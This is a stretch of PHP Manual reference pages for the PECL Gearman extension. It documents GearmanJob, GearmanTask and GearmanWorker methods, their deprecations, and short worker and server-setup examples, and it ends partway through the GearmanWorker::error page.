GearmanJob
PHP Manual

GearmanJob::complete

(PECL gearman <= 0.5.0)

GearmanJob::complete — Send the result and complete status (deprecated)

Description

public bool GearmanJob::complete ( string $result )

Sends result data and the complete status update for this job.

Note:

This method has been replaced by GearmanJob::sendComplete() in the 0.6.0 release of the Gearman extension.

Parameters

result

Serialized result data.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::sendFail() - Send fail status
  • GearmanJob::setReturn() - Set a return value

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob
GearmanJob::__construct
GearmanJob


Create a GearmanJob instance

GearmanJob::complete
GearmanJob::data
GearmanJob
PHP Manual

GearmanJob::__construct

(PECL gearman >= 0.5.0)

GearmanJob::__construct — Create a GearmanJob instance

Description

public GearmanJob::__construct ( void )

Creates a GearmanJob instance representing a job the worker is to complete.

Parameters

This function has no parameters.

Return Values

A GearmanJob object.

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::complete
GearmanJob::data
GearmanJob


Send data for a running job (deprecated)

GearmanJob::__construct
GearmanJob::exception
GearmanJob
PHP Manual

GearmanJob::data

(PECL gearman <= 0.5.0)

GearmanJob::data — Send data for a running job (deprecated)

Description

public bool GearmanJob::data ( string $data )

Sends data to the job server (and any listening clients) for this job.

Note:

This method has been replaced by GearmanJob::sendData() in the 0.6.0 release of the Gearman extension.

Parameters

data

Arbitrary serialized data.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::workload() - Get workload
  • GearmanTask::data() - Get data returned for a task

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::__construct
GearmanJob::exception
GearmanJob


Send exception for running job (deprecated)

GearmanJob::data
GearmanJob::fail
GearmanJob
PHP Manual

GearmanJob::exception

(PECL gearman <= 0.5.0)

GearmanJob::exception — Send exception for running job (deprecated)

Description

public bool GearmanJob::exception ( string $exception )

Sends the supplied exception when this job is running.

Note:

This method has been replaced by GearmanJob::sendException() in the 0.6.0 release of the Gearman extension.

Parameters

exception

An exception description.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::data
GearmanJob::fail
GearmanJob


Send fail status (deprecated)

GearmanJob::exception
GearmanJob::functionName
GearmanJob
PHP Manual

GearmanJob::fail

(PECL gearman <= 0.5.0)

GearmanJob::fail — Send fail status (deprecated)

Description

public bool GearmanJob::fail ( void )

Sends failure status for this job, indicating that the job failed in a known way (as opposed to failing due to a thrown exception).

Note:

This method has been replaced by GearmanJob::sendFail() in the 0.6.0 release of the Gearman extension.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::exception
GearmanJob::functionName
GearmanJob


Get function name

GearmanJob::fail
GearmanJob::handle
GearmanJob
PHP Manual

GearmanJob::functionName

(PECL gearman >= 0.5.0)

GearmanJob::functionName — Get function name

Description

public string GearmanJob::functionName ( void )

Returns the function name for this job. This is the function the work will execute to perform the job.

Parameters

This function has no parameters.

Return Values

The name of a function.

See Also

  • GearmanTask::function() - Get associated function name (deprecated)

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::fail
GearmanJob::handle
GearmanJob


Get the job handle

GearmanJob::functionName
GearmanJob::returnCode
GearmanJob
PHP Manual

GearmanJob::handle

(PECL gearman >= 0.5.0)

GearmanJob::handle — Get the job handle

Description

public string GearmanJob::handle ( void )

Returns the opaque job handle assigned by the job server.

Parameters

This function has no parameters.

Return Values

An opaque job handle.

See Also

  • GearmanTask::jobHandle() - Get the job handle

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::functionName
GearmanJob::returnCode
GearmanJob


Get last return code

GearmanJob::handle
GearmanJob::sendComplete
GearmanJob
PHP Manual

GearmanJob::returnCode

(PECL gearman >= 0.5.0)

GearmanJob::returnCode — Get last return code

Description

public int GearmanJob::returnCode ( void )

Returns the last return code issued by the job server.

Parameters

This function has no parameters.

Return Values

A valid Gearman return code.

See Also

  • GearmanTask::returnCode() - Get the last return code

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::handle
GearmanJob::sendComplete
GearmanJob


Send the result and complete status

GearmanJob::returnCode
GearmanJob::sendData
GearmanJob
PHP Manual

GearmanJob::sendComplete

(PECL gearman >= 0.6.0)

GearmanJob::sendComplete — Send the result and complete status

Description

public bool GearmanJob::sendComplete ( string $result )

Sends result data and the complete status update for this job.

Parameters

result

Serialized result data.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::sendFail() - Send fail status
  • GearmanJob::setReturn() - Set a return value

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::returnCode
GearmanJob::sendData
GearmanJob


Send data for a running job

GearmanJob::sendComplete
GearmanJob::sendException
GearmanJob
PHP Manual

GearmanJob::sendData

(PECL gearman >= 0.6.0)

GearmanJob::sendData — Send data for a running job

Description

public bool GearmanJob::sendData ( string $data )

Sends data to the job server (and any listening clients) for this job.

Parameters

data

Arbitrary serialized data.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::workload() - Get workload
  • GearmanTask::data() - Get data returned for a task

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::sendComplete
GearmanJob::sendException
GearmanJob


Send exception for running job (exception)

GearmanJob::sendData
GearmanJob::sendFail
GearmanJob
PHP Manual

GearmanJob::sendException

(PECL gearman >= 0.6.0)

GearmanJob::sendException — Send exception for running job (exception)

Description

public bool GearmanJob::sendException ( string $exception )

Sends the supplied exception when this job is running.

Parameters

exception

An exception description.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::sendData
GearmanJob::sendFail
GearmanJob


Send fail status

GearmanJob::sendException
GearmanJob::sendStatus
GearmanJob
PHP Manual

GearmanJob::sendFail

(PECL gearman >= 0.6.0)

GearmanJob::sendFail — Send fail status

Description

public bool GearmanJob::sendFail ( void )

Sends failure status for this job, indicating that the job failed in a known way (as opposed to failing due to a thrown exception).

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::sendException
GearmanJob::sendStatus
GearmanJob


Send status

GearmanJob::sendFail
GearmanJob::sendWarning
GearmanJob
PHP Manual

GearmanJob::sendStatus

(PECL gearman >= 0.6.0)

GearmanJob::sendStatus — Send status

Description

public bool GearmanJob::sendStatus ( int $numerator , int $denominator )

Sends status information to the job server and any listening clients. Use this to specify what percentage of the job has been completed.

Parameters

numerator

The numerator of the precentage completed expressed as a fraction.

denominator

The denominator of the precentage completed expressed as a fraction.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::jobStatus() - Get the status of a background job
  • GearmanTask::taskDenominator() - Get completion percentage denominator
  • GearmanTask::taskNumerator() - Get completion percentage numerator

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::sendFail
GearmanJob::sendWarning
GearmanJob


Send a warning

GearmanJob::sendStatus
GearmanJob::setReturn
GearmanJob
PHP Manual

GearmanJob::sendWarning

(PECL gearman >= 0.6.0)

GearmanJob::sendWarning — Send a warning

Description

public bool GearmanJob::sendWarning ( string $warning )

Sends a warning for this job while it is running.

Parameters

warning

A warning messages.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::sendComplete() - Send the result and complete status
  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::sendFail() - Send fail status

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::sendStatus
GearmanJob::setReturn
GearmanJob


Set a return value

GearmanJob::sendWarning
GearmanJob::status
GearmanJob
PHP Manual

GearmanJob::setReturn

(PECL gearman >= 0.5.0)

GearmanJob::setReturn — Set a return value

Description

public bool GearmanJob::setReturn ( int $gearman_return_t )

Sets the return value for this job, indicates how the job completed.

Parameters

gearman_return_t

A valid Gearman return value.

Return Values

Description...

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::sendWarning
GearmanJob::status
GearmanJob


Send status (deprecated)

GearmanJob::setReturn
GearmanJob::unique
GearmanJob
PHP Manual

GearmanJob::status

(PECL gearman <= 0.5.0)

GearmanJob::status — Send status (deprecated)

Description

public bool GearmanJob::status ( int $numerator , int $denominator )

Sends status information to the job server and any listening clients. Use this to specify what percentage of the job has been completed.

Note:

This method has been replaced by GearmanJob::sendStatus() in the 0.6.0 release of the Gearman extenstion.

Parameters

numerator

The numerator of the precentage completed expressed as a fraction.

denominator

The denominator of the precentage completed expressed as a fraction.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanClient::jobStatus() - Get the status of a background job
  • GearmanTask::taskDenominator() - Get completion percentage denominator
  • GearmanTask::taskNumerator() - Get completion percentage numerator

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::setReturn
GearmanJob::unique
GearmanJob


Get the unique identifier

GearmanJob::status
GearmanJob::warning
GearmanJob
PHP Manual

GearmanJob::unique

(PECL gearman >= 0.5.0)

GearmanJob::unique — Get the unique identifier

Description

public string GearmanJob::unique ( void )

Returns the unique identifiter for this job. The identifier is assigned by the client.

Parameters

This function has no parameters.

Return Values

An opaque unique identifier.

See Also

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanTask::uuid() - Get the unique identifier for a task (deprecated)

User Contributed Notes

ben dot paulsen at myedu dot com 19-Dec-2011 12:56
I think it's worth noting that this function will not return the unique id specified by a client request unless GEARMAN_WORKER_GRAB_UNIQ is specified as an option to the worker instance as follows ...

<?php
  $worker= new GearmanWorker();
  $worker->addServer();
  $worker->addOptions(GEARMAN_WORKER_GRAB_UNIQ);
?>
GearmanJob::status
GearmanJob::warning
GearmanJob


Send a warning (deprecated)

GearmanJob::unique
GearmanJob::workload
GearmanJob
PHP Manual

GearmanJob::warning

(PECL gearman <= 0.5.0)

GearmanJob::warning — Send a warning (deprecated)

Description

public bool GearmanJob::warning ( string $warning )

Sends a warning for this job while it is running.

Note:

This method has been replaced by GearmanJob::sendWarning() in the 0.6.0 release of the Gearman extension.

Parameters

warning

A warning messages.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • GearmanJob::sendComplete() - Send the result and complete status
  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::sendFail() - Send fail status

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::unique
GearmanJob::workload
GearmanJob


Get workload

GearmanJob::warning
GearmanJob::workloadSize
GearmanJob
PHP Manual

GearmanJob::workload

(PECL gearman >= 0.5.0)

GearmanJob::workload — Get workload

Description

public string GearmanJob::workload ( void )

Returns the workload for the job. This is serialized data that is to be processed by the worker.

Parameters

This function has no parameters.

Return Values

Serialized data.

See Also

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanJob::workloadSize() - Get size of work load

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::warning
GearmanJob::workloadSize
GearmanJob


Get size of work load

GearmanJob::workload
GearmanTask
GearmanJob
PHP Manual

GearmanJob::workloadSize

(PECL gearman >= 0.5.0)

GearmanJob::workloadSize — Get size of work load

Description

public int GearmanJob::workloadSize ( void )

Returns the size of the job's work load (the data the worker is to process) in bytes.

Parameters

This function has no parameters.

Return Values

The size in bytes.

See Also

  • GearmanJob::workload() - Get workload

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::workload
GearmanTask
GearmanJob


The GearmanTask class

(No version information available, might only be in SVN)

Introduction

Class synopsis

GearmanTask {
/* Methods */
public __construct ( void )
public GearmanTask create ( void )
public string data ( void )
public int dataSize ( void )
public string function ( void )
public string functionName ( void )
public bool isKnown ( void )
public bool isRunning ( void )
public string jobHandle ( void )
public array recvData ( int $data_len )
public int returnCode ( void )
public int sendData ( string $data )
public int sendWorkload ( string $data )
public int taskDenominator ( void )
public int taskNumerator ( void )
public string unique ( void )
public string uuid ( void )
}

Table of Contents

  • GearmanTask::__construct — Create a GearmanTask instance
  • GearmanTask::create — Create a task (deprecated)
  • GearmanTask::data — Get data returned for a task
  • GearmanTask::dataSize — Get the size of returned data
  • GearmanTask::function — Get associated function name (deprecated)
  • GearmanTask::functionName — Get associated function name
  • GearmanTask::isKnown — Determine if task is known
  • GearmanTask::isRunning — Test whether the task is currently running
  • GearmanTask::jobHandle — Get the job handle
  • GearmanTask::recvData — Read work or result data into a buffer for a task
  • GearmanTask::returnCode — Get the last return code
  • GearmanTask::sendData — Send data for a task (deprecated)
  • GearmanTask::sendWorkload — Send data for a task
  • GearmanTask::taskDenominator — Get completion percentage denominator
  • GearmanTask::taskNumerator — Get completion percentage numerator
  • GearmanTask::unique — Get the unique identifier for a task
  • GearmanTask::uuid — Get the unique identifier for a task (deprecated)

User Contributed Notes

There are no user contributed notes for this page.
GearmanJob::workloadSize
GearmanTask::__construct
Gearman


Create a GearmanTask instance

GearmanTask
GearmanTask::create
GearmanTask
PHP Manual

GearmanTask::__construct

(PECL gearman >= 0.5.0)

GearmanTask::__construct — Create a GearmanTask instance

Description

public GearmanTask::__construct ( void )

Creates a GearmanTask instance representing a task to be submitted to a job server.

Parameters

This function has no parameters.

Return Values

A GearmanTask object.

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask
GearmanTask::create
GearmanTask


Create a task (deprecated)

GearmanTask::__construct
GearmanTask::data
GearmanTask
PHP Manual

GearmanTask::create

(PECL gearman <= 0.5.0)

GearmanTask::create — Create a task (deprecated)

Description

public GearmanTask GearmanTask::create ( void )

Returns a new GearmanTask object.

Note:

This method was removed in the 0.6.0 version of the Gearman extension.

Parameters

This function has no parameters.

Return Values

A GearmanTask oject or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::__construct
GearmanTask::data
GearmanTask


Get data returned for a task

GearmanTask::create
GearmanTask::dataSize
GearmanTask
PHP Manual

GearmanTask::data

(PECL gearman >= 0.5.0)

GearmanTask::data — Get data returned for a task

Description

public string GearmanTask::data ( void )

Returns data being returned for a task by a worker.

Parameters

This function has no parameters.

Return Values

The serialized data, or FALSE if no data is present.

See Also

  • GearmanTask::dataSize() - Get the size of returned data

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::create
GearmanTask::dataSize
GearmanTask


Get the size of returned data

GearmanTask::data
GearmanTask::function
GearmanTask
PHP Manual

GearmanTask::dataSize

(PECL gearman >= 0.5.0)

GearmanTask::dataSize — Get the size of returned data

Description

public int GearmanTask::dataSize ( void )

Returns the size of the data being returned for a task.

Parameters

This function has no parameters.

Return Values

The data size, or FALSE if there is no data.

See Also

  • GearmanTask::data() - Get data returned for a task

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::data
GearmanTask::function
GearmanTask


Get associated function name (deprecated)

GearmanTask::dataSize
GearmanTask::functionName
GearmanTask
PHP Manual

GearmanTask::function

(PECL gearman <= 0.5.0)

GearmanTask::function — Get associated function name (deprecated)

Description

public string GearmanTask::function ( void )

Returns the name of the function this task is associated with, i.e., the function the Gearman worker calls.

Note:

This method has been replaced by GearmanTask::functionName() in the 0.6.0 release of the Gearman extension.

Parameters

This function has no parameters.

Return Values

A function name.

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::dataSize
GearmanTask::functionName
GearmanTask


Get associated function name

GearmanTask::function
GearmanTask::isKnown
GearmanTask
PHP Manual

GearmanTask::functionName

(PECL gearman >= 0.6.0)

GearmanTask::functionName — Get associated function name

Description

public string GearmanTask::functionName ( void )

Returns the name of the function this task is associated with, i.e., the function the Gearman worker calls.

Parameters

This function has no parameters.

Return Values

A function name.

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::function
GearmanTask::isKnown
GearmanTask


Determine if task is known

GearmanTask::functionName
GearmanTask::isRunning
GearmanTask
PHP Manual

GearmanTask::isKnown

(PECL gearman >= 0.5.0)

GearmanTask::isKnown — Determine if task is known

Description

public bool GearmanTask::isKnown ( void )

Gets the status information for whether or not this task is known to the job server.

Parameters

This function has no parameters.

Return Values

TRUE if the task is known, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::functionName
GearmanTask::isRunning
GearmanTask


Test whether the task is currently running

GearmanTask::isKnown
GearmanTask::jobHandle
GearmanTask
PHP Manual

GearmanTask::isRunning

(PECL gearman >= 0.5.0)

GearmanTask::isRunning — Test whether the task is currently running

Description

public bool GearmanTask::isRunning ( void )

Indicates whether or not this task is currently running.

Parameters

This function has no parameters.

Return Values

TRUE if the task is running, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::isKnown
GearmanTask::jobHandle
GearmanTask


Get the job handle

GearmanTask::isRunning
GearmanTask::recvData
GearmanTask
PHP Manual

GearmanTask::jobHandle

gearman_job_handle

(PECL gearman >= 0.5.0)

GearmanTask::jobHandle -- gearman_job_handle — Get the job handle

Description

public string GearmanTask::jobHandle ( void )

Returns the job handle for this task.

Parameters

This function has no parameters.

Return Values

The opaque job handle.

See Also

  • GearmanClient::doJobHandle() - Get the job handle for the running task

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::isRunning
GearmanTask::recvData
GearmanTask


Read work or result data into a buffer for a task

GearmanTask::jobHandle
GearmanTask::returnCode
GearmanTask
PHP Manual

GearmanTask::recvData

(PECL gearman >= 0.5.0)

GearmanTask::recvData — Read work or result data into a buffer for a task

Description

public array GearmanTask::recvData ( int $data_len )

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

data_len

Length of data to be read.

Return Values

An array whose first element is the length of data read and the second is the data buffer. Returns FALSE if the read failed.

See Also

  • GearmanTask::sendData() - Send data for a task (deprecated)

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::jobHandle
GearmanTask::returnCode
GearmanTask


Get the last return code

GearmanTask::recvData
GearmanTask::sendData
GearmanTask
PHP Manual

GearmanTask::returnCode

(PECL gearman >= 0.5.0)

GearmanTask::returnCode — Get the last return code

Description

public int GearmanTask::returnCode ( void )

Returns the last Gearman return code for this task.

Parameters

This function has no parameters.

Return Values

A valid Gearman return code.

See Also

  • GearmanClient::returnCode() - Get the last Gearman return code

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::recvData
GearmanTask::sendData
GearmanTask


Send data for a task (deprecated)

GearmanTask::returnCode
GearmanTask::sendWorkload
GearmanTask
PHP Manual

GearmanTask::sendData

(PECL gearman <= 0.5.0)

GearmanTask::sendData — Send data for a task (deprecated)

Description

public int GearmanTask::sendData ( string $data )

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

data

Data to send to the worker.

Return Values

The length of data sent, or FALSE if the send failed.

See Also

  • GearmanTask::recvData() - Read work or result data into a buffer for a task

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::returnCode
GearmanTask::sendWorkload
GearmanTask


Send data for a task

GearmanTask::sendData
GearmanTask::taskDenominator
GearmanTask
PHP Manual

GearmanTask::sendWorkload

(PECL gearman >= 0.6.0)

GearmanTask::sendWorkload — Send data for a task

Description

public int GearmanTask::sendWorkload ( string $data )

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

data

Data to send to the worker.

Return Values

The length of data sent, or FALSE if the send failed.

See Also

  • GearmanTask::recvData() - Read work or result data into a buffer for a task

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::sendData
GearmanTask::taskDenominator
GearmanTask


Get completion percentage denominator

GearmanTask::sendWorkload
GearmanTask::taskNumerator
GearmanTask
PHP Manual

GearmanTask::taskDenominator

(PECL gearman >= 0.5.0)

GearmanTask::taskDenominator — Get completion percentage denominator

Description

public int GearmanTask::taskDenominator ( void )

Returns the denominator of the percentage of the task that is complete expressed as a fraction.

Parameters

This function has no parameters.

Return Values

A number between 0 and 100, or FALSE if cannot be determined.

See Also

  • GearmanTask::taskNumerator() - Get completion percentage numerator

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::sendWorkload
GearmanTask::taskNumerator
GearmanTask


Get completion percentage numerator

GearmanTask::taskDenominator
GearmanTask::unique
GearmanTask
PHP Manual

GearmanTask::taskNumerator

(PECL gearman >= 0.5.0)

GearmanTask::taskNumerator — Get completion percentage numerator

Description

public int GearmanTask::taskNumerator ( void )

Returns the numerator of the percentage of the task that is complete expressed as a fraction.

Parameters

This function has no parameters.

Return Values

A number between 0 and 100, or FALSE if cannot be determined.

See Also

  • GearmanTask::taskDenominator() - Get completion percentage denominator

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::taskDenominator
GearmanTask::unique
GearmanTask


Get the unique identifier for a task

GearmanTask::taskNumerator
GearmanTask::uuid
GearmanTask
PHP Manual

GearmanTask::unique

(PECL gearman >= 0.6.0)

GearmanTask::unique — Get the unique identifier for a task

Description

public string GearmanTask::unique ( void )

Returns the unique identifier for this task. This is assigned by the GearmanClient, as opposed to the job handle which is set by the Gearman job server.

Parameters

This function has no parameters.

Return Values

The unique identifier, or FALSE if no identifier is assigned.

See Also

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanClient::addTask() - Add a task to be run in parallel

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::taskNumerator
GearmanTask::uuid
GearmanTask


Get the unique identifier for a task (deprecated)

GearmanTask::unique
GearmanWorker
GearmanTask
PHP Manual

GearmanTask::uuid

(PECL gearman <= 0.5.0)

GearmanTask::uuid — Get the unique identifier for a task (deprecated)

Description

public string GearmanTask::uuid ( void )

Returns the unique identifier for this task. This is assigned by the GearmanClient, as opposed to the job handle which is set by the Gearman job server.

Note:

This method has been replaced by GearmanTask::unique() in the 0.6.0 release of the Gearman extension.

Parameters

This function has no parameters.

Return Values

The unique identifier, or FALSE if no identifier is assigned.

See Also

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanClient::addTask() - Add a task to be run in parallel

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::unique
GearmanWorker
GearmanTask


The GearmanWorker class

(No version information available, might only be in SVN)

Introduction

Class synopsis

GearmanWorker {
/* Methods */
public bool addFunction ( string $function_name , callback $function [, mixed &$context [, int $timeout ]] )
public bool addOptions ( int $option )
public bool addServer ([ string $host = 127.0.0.1 [, int $port = 4730 ]] )
public bool addServers ( string $servers = 127.0.0.1:4730 )
public void clone ( void )
public __construct ( void )
public bool echo ( string $workload )
public string error ( void )
public int getErrno ( void )
public int options ( void )
public bool register ( string $function_name [, int $timeout ] )
public bool removeOptions ( int $option )
public int returnCode ( void )
public bool setOptions ( int $option )
public bool setTimeout ( int $timeout )
public int timeout ( void )
public bool unregister ( string $function_name )
public bool unregisterAll ( void )
public bool wait ( void )
public bool work ( void )
}

Table of Contents

  • GearmanWorker::addFunction — Register and add callback function
  • GearmanWorker::addOptions — Add worker options
  • GearmanWorker::addServer — Add a job server
  • GearmanWorker::addServers — Add job servers
  • GearmanWorker::clone — Create a copy of the worker
  • GearmanWorker::__construct — Create a GearmanWorker instance
  • GearmanWorker::echo — Test job server response
  • GearmanWorker::error — Get the last error encountered
  • GearmanWorker::getErrno — Get errno
  • GearmanWorker::options — Get worker options
  • GearmanWorker::register — Register a function with the job server
  • GearmanWorker::removeOptions — Remove worker options
  • GearmanWorker::returnCode — Get last Gearman return code
  • GearmanWorker::setOptions — Set worker options
  • GearmanWorker::setTimeout — Set socket I/O activity timeout
  • GearmanWorker::timeout — Get socket I/O activity timeout
  • GearmanWorker::unregister — Unregister a function name with the job servers
  • GearmanWorker::unregisterAll — Unregister all function names with the job servers
  • GearmanWorker::wait — Wait for activity from one of the job servers
  • GearmanWorker::work — Wait for and perform jobs

User Contributed Notes

There are no user contributed notes for this page.
GearmanTask::uuid
GearmanWorker::addFunction
Gearman


Register and add callback function

GearmanWorker
GearmanWorker::addOptions
GearmanWorker
PHP Manual

GearmanWorker::addFunction

(PECL gearman >= 0.5.0)

GearmanWorker::addFunction — Register and add callback function

Description

public bool GearmanWorker::addFunction ( string $function_name , callback $function [, mixed &$context [, int $timeout ]] )

Registers a function name with the job server and specifies a callback corresponding to that function. Optionally specify extra application context data to be used when the callback is called and a timeout.

Parameters

function_name

The name of a function to register with the job server

function

A callback that gets called when a job for the registered function name is submitted

context

A reference to arbitrary application context data that can be modified by the worker function

timeout

An interval of time in seconds

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Simple worker making use of extra application context data

<?php

# get a gearman worker
$worker= new GearmanWorker();

# add the default server (localhost)
$worker->addServer();

# define a variable to hold application data
$count= 0;

# add the "reverse" function
$worker->addFunction("reverse", "reverse_cb", &$count);

# start the worker
while ($worker->work());

function reverse_cb($job, $count)
{
  $count++;
  return "$count: " . strrev($job->workload());
}

?>

Running a client that submits two jobs for the reverse function would have output similar to the following:

1: olleh
2: dlrow

See Also

  • GearmanClient::do() - Run a single task and return a result [deprecated]

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker
GearmanWorker::addOptions
GearmanWorker


Add worker options

GearmanWorker::addFunction
GearmanWorker::addServer
GearmanWorker
PHP Manual

GearmanWorker::addOptions

(PECL gearman >= 0.6.0)

GearmanWorker::addOptions — Add worker options

Description

public bool GearmanWorker::addOptions ( int $option )

Adds one or more options to the options previously set.

Parameters

option

The options to be added

Return Values

Always returns TRUE.

See Also

  • GearmanWorker::options() - Get worker options
  • GearmanClient::setOptions() - Set client options
  • GearmanClient::removeOptions() - Remove client options

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::addFunction
GearmanWorker::addServer
GearmanWorker


Add a job server

GearmanWorker::addOptions
GearmanWorker::addServers
GearmanWorker
PHP Manual

GearmanWorker::addServer

(PECL gearman >= 0.5.0)

GearmanWorker::addServer — Add a job server

Description

public bool GearmanWorker::addServer ([ string $host = 127.0.0.1 [, int $port = 4730 ]] )

Adds a job server to this worker. This goes into a list of servers than can be used to run jobs. No socket I/O happens here.

Parameters

host

The job server host name.

port

The job server port.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Add alternate Gearman servers

<?php
$worker= new GearmanWorker();
$worker->addServer("10.0.0.1");
$worker->addServer("10.0.0.2", 7003);
?>

See Also

  • GearmanWorker::addServers() - Add job servers

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::addOptions
GearmanWorker::addServers
GearmanWorker


Add job servers

GearmanWorker::addServer
GearmanWorker::clone
GearmanWorker
PHP Manual

GearmanWorker::addServers

(PECL gearman >= 0.5.0)

GearmanWorker::addServers — Add job servers

Description

public bool GearmanWorker::addServers ( string $servers = 127.0.0.1:4730 )

Adds one or more job servers to this worker. These go into a list of servers that can be used to run jobs. No socket I/O happens here.

Parameters

servers

A comma separated list of job servers in the format host:port. If no port is specified, it defaults to 4730.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Add two job servers

<?php

$worker= new GearmanWorker();
$worker->addServers("10.0.0.1,10.0.0.2:7003");

?>

See Also

  • GearmanWorker::addServer() - Add a job server

User Contributed Notes

matthew day 23-Nov-2011 12:45
as of this note, the current released version of gearman doesn't really work so well to add multiple servers, although it's fixed in SVN

see: https://bugs.php.net/bug.php?id=59423

if i just add one server to my worker, it works just fine and sits and waits for a job to do

if I have more than 1 server in my worker, i get a timeout warning which causes the worker to generate a php notice and the while loop fails.
GearmanWorker::addServer
GearmanWorker::clone
GearmanWorker


Create a copy of the worker

GearmanWorker::addServers
GearmanWorker::__construct
GearmanWorker
PHP Manual

GearmanWorker::clone

(PECL gearman >= 0.5.0)

GearmanWorker::clone — Create a copy of the worker

Description

public void GearmanWorker::clone ( void )

Creates a copy of the worker.

Parameters

This function has no parameters.

Return Values

A GearmanWorker object

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::addServers
GearmanWorker::__construct
GearmanWorker


Create a GearmanWorker instance

GearmanWorker::clone
GearmanWorker::echo
GearmanWorker
PHP Manual

GearmanWorker::__construct

(PECL gearman >= 0.5.0)

GearmanWorker::__construct — Create a GearmanWorker instance

Description

public GearmanWorker::__construct ( void )

Creates a GearmanWorker instance representing a worker that connects to the job server and accepts tasks to run.

Parameters

This function has no parameters.

Return Values

A GearmanWorker object

See Also

  • GearmanWorker::clone() - Create a copy of the worker

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::clone
GearmanWorker::echo
GearmanWorker


Test job server response

GearmanWorker::__construct
GearmanWorker::error
GearmanWorker
PHP Manual

GearmanWorker::echo

(PECL gearman >= 0.6.0)

GearmanWorker::echo — Test job server response

Description

public bool GearmanWorker::echo ( string $workload )

Sends data to all job servers to see if they echo it back. This is a test function to see if job servers are responding properly.

Parameters

workload

Arbitrary serialized data

Return Values

Standard Gearman return value.

See Also

  • GearmanClient::echo() - Send data to all job servers to see if they echo it back [deprecated]

User Contributed Notes

There are no user contributed notes for this page.
GearmanWorker::__construct
GearmanWorker::error
GearmanWorker


Get the last error encountered

GearmanWorker::echo
GearmanWorker::getErrno
GearmanWorker
PHP Manual

GearmanWorker::error

(PECL gearman >= 0.5.0)

GearmanWorker::error — Get the last error encountered

Description

public string GearmanWorker::error ( void )

Returns an error string for the last error encountered.

Parameters

This function has no parameters.

Return Values

An error string.

See Also

  • GearmanWorker::getErrno() - Get errno

User Contributed Notes
